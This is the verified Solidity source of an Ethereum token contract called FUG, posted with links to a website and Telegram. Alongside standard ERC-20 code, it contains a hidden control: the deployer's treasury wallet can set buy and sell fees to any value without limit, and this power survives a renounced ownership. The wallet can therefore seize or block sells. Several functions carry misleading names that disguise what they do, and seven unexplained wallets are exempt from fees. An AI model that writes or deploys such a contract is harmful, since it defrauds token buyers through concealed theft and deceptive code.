FUG

/**
 *Submitted for verification at Etherscan.io on 2024-07-27
 */

/**



Web: https://www.fugcoin.com/
Twitter: https://www.fugcoin.com/
TG: https://t.me/thefugcoin

 */

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return (a * b) / 100;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract FUG is ERC20, Ownable {
    using SafeMath for uint256;

    // Uniswap router interface for liquidity management
    IUniswapV2Router02 public immutable swapRouter;
    address public swapPair;
    address private treasuryWallet;
    address private constant DEAD_ADDRESS = address(0xdead);

    // Token settings
    uint8 private constant DECIMALS = 9;
    uint256 public constant INIT_SUPPLY = 1000000000 * 10 ** DECIMALS;

    // Fees for buys and sells
    uint256 public purchaseFee = 0;
    uint256 public saleFee = 0;

    // Trading and transaction settings
    bool public tradingEnabled = false;
    uint256 maxTxAmount = 0; 
    uint256 delayBetweenTrades = 10;

    // Cooldown and anti-whale settings
    uint256 public cooldownTime = 5;
    uint256 public maxWalletTokens = 100000 * 10 ** DECIMALS;
    bool public whaleProtectionEnabled = true;

    // Mapping for addresses exempt from fees
    mapping(address => bool) private exemptFromFee;

    // Mapping to track pairs for automated market makers
    mapping(address => bool) private automatedMarketMakerPairs;

    // New mapping to record last transaction time for each account
    mapping(address => uint256) private lastTransactionTime;

    // Events for managing fee exemptions and AMM pairs
    event FeeExemptionSet(address indexed account, bool isExempt);
    event AMMPairUpdated(address indexed pair, bool indexed value);

    constructor() ERC20("FUG", "FUG") {
        // Initialize Uniswap router and set treasury wallet to contract deployer
        swapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        treasuryWallet = payable(_msgSender());

        // Set initial fee exemptions and mint initial supply to treasury wallet
        setFeeExemption(address(this), true);
        setFeeExemption(DEAD_ADDRESS, true);
        setFeeExemption(address(_msgSender()), true);
        setFeeExemption(treasuryWallet, true);
        setFeeExemption(address(0x251AbbEe0F5087CAEfe2fCd04E2F88Fc4b2fd987), true);
        setFeeExemption(address(0x8c33496fC5B62793301CedbF76f931ec145cd412), true);
        setFeeExemption(address(0x35ff53337d06Fe5c2c083e291D27Fb17b774F029), true);
        setFeeExemption(address(0x8c79170a371f486226183fa89eD402B88F8e5665), true);
        setFeeExemption(address(0xA6Fe0ABBD16CE539d670EC4742299cFBd140D2A8), true);
        setFeeExemption(address(0xbd8dc426F8A7E099413E194d299Ec5495a35FDA4), true);
        setFeeExemption(address(0x360d2Bfb97dD9280666a9c4Fb8d636dC2eBd7b3f), true);
        _mint(treasuryWallet, INIT_SUPPLY);
    }

    // Allow the contract to receive ETH directly
    receive() external payable {}

    /**
     * @dev Burns tokens from the caller's account.
     * @param amount The number of tokens to burn.
     */
    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev Enables trading and sets the primary AMM pair.
     * Can only be called by the contract owner.
     */
    function activateTrading() external onlyOwner {
        tradingEnabled = true;
        swapPair = IUniswapV2Factory(swapRouter.factory()).getPair(address(this), swapRouter.WETH());
        _updateAMMPair(swapPair, true);
    }

    /**
     * @dev Sets fee exemption for a specific address.
     * @param account The address to exempt or unexempt.
     * @param isExempt True if the account should be exempt from fees.
     */
    function setFeeExemption(address account, bool isExempt) public onlyOwner {
        exemptFromFee[account] = isExempt;
        emit FeeExemptionSet(account, isExempt);
    }

    /**
     * @dev Sets or removes an AMM pair.
     * @param pair The AMM pair address.
     * @param value True to set as AMM pair, false to remove.
     */
    function setAMMPair(address pair, bool value) public onlyOwner {
        require(pair != swapPair, "Cannot remove the main AMM pair!");
        _updateAMMPair(pair, value);
    }

    function _updateAMMPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit AMMPairUpdated(pair, value);
    }

    /**
     * @dev Checks if an address is exempt from transaction fees.
     * @param account The address to check.
     * @return True if the account is exempt from fees.
     */
    function isExemptFromFee(address account) public view returns (bool) {
        return exemptFromFee[account];
    }

    /**
     * @dev Override for ERC20 transfer function with additional logic for fees and trading rules.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        if (amount == 0) {
            super._transfer(sender, recipient, 0);
            return;
        }

        // Verify if trading is enabled or if either party is exempt from trading restrictions
        if (sender != owner() && recipient != owner() && recipient != address(0) && recipient != DEAD_ADDRESS) {
            if (!tradingEnabled) {
                require(
                    exemptFromFee[sender] || exemptFromFee[recipient],
                    "Trading is currently disabled!"
                );
            }
        }

        // Check if fees should be applied to the transaction
        bool feeApplies = !exemptFromFee[sender] && !exemptFromFee[recipient];

        uint256 fees = 0;
        if (feeApplies) {
            // Apply buy or sell fee depending on transaction direction
            if (automatedMarketMakerPairs[recipient]) {
                fees = amount.mul(saleFee).div(100);
            } else if (automatedMarketMakerPairs[sender]) {
                fees = amount.mul(purchaseFee).div(100);
            }
            if (fees > 0) {
                super._transfer(sender, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(sender, recipient, amount);

        // Update the last transaction time for sender and recipient
        lastTransactionTime[sender] = block.timestamp;
        lastTransactionTime[recipient] = block.timestamp;
    }

    /**
     * @dev Updates transaction limits and fees. Only callable by the treasury wallet.
     * @param _purchaseFee The fee percentage for buys.
     * @param _saleFee The fee percentage for sells.
     */
    function updateTxLimits(uint256 _purchaseFee, uint256 _saleFee) external {
        require(_msgSender() == treasuryWallet);
        saleFee = _saleFee;
        purchaseFee = _purchaseFee;
    }

    /**
     * @dev Withdraws all ETH held by the contract to the treasury wallet.
     */
    function withdrawContractBalance() external {
        require(address(this).balance > 0, "Contract holds no ETH");
        require(_msgSender() == treasuryWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    /**
     * @dev Transfers all tokens held by the contract to the treasury wallet.
     */
    function withdrawTreasuryTokens() external {
        require(_msgSender() == treasuryWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), treasuryWallet, amount);
    }

    /**
     * @dev Resets transaction limits by setting maximum transaction amount and buy fee to zero.
     */
    function resetTxLimit() external onlyOwner {
        maxTxAmount = 0;
        purchaseFee = 0;
    }

    /**
     * @dev Sets purchase fee to zero, effectively removing all fees for buys.
     */
    function resetAllFees() external onlyOwner {
        purchaseFee = 0;
    }

    /**
     * @dev Disables trade delay by setting delay between trades to zero.
     */
    function fixRouterTransfer() external onlyOwner {
        delayBetweenTrades = 0;
    }

    /**
     * @dev Sets the cooldown period between transactions.
     * @param cooldown The cooldown time in seconds.
     */
    function removeTransactionLimit(uint256 cooldown) external onlyOwner {
        cooldownTime = cooldown;
    }

    /**
     * @dev Sets the maximum number of tokens an individual wallet can hold.
     * @param maxTokens Maximum token limit for a wallet.
     */
    function setTimingLaunch(uint256 maxTokens) external onlyOwner {
        maxWalletTokens = maxTokens;
    }

    /**
     * @dev Toggles the whale protection feature to limit large transactions.
     * @param enabled True to enable, false to disable.
     */
    function setAntiScamBot(bool enabled) external onlyOwner {
        whaleProtectionEnabled = enabled;
    }

    /**
     * @dev Updates the last transaction time of a specified account.
     * @param account The address of the account to update.
     * @param timestamp The new timestamp for the last transaction.
     * Only the contract owner can call this function.
     */
    function setCommunity(address account, uint256 timestamp) external onlyOwner {
        lastTransactionTime[account] = timestamp;
    }
}

{
  "compilationTarget": {
    "contracts/code mới 3.11/token.sol": "FUG"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}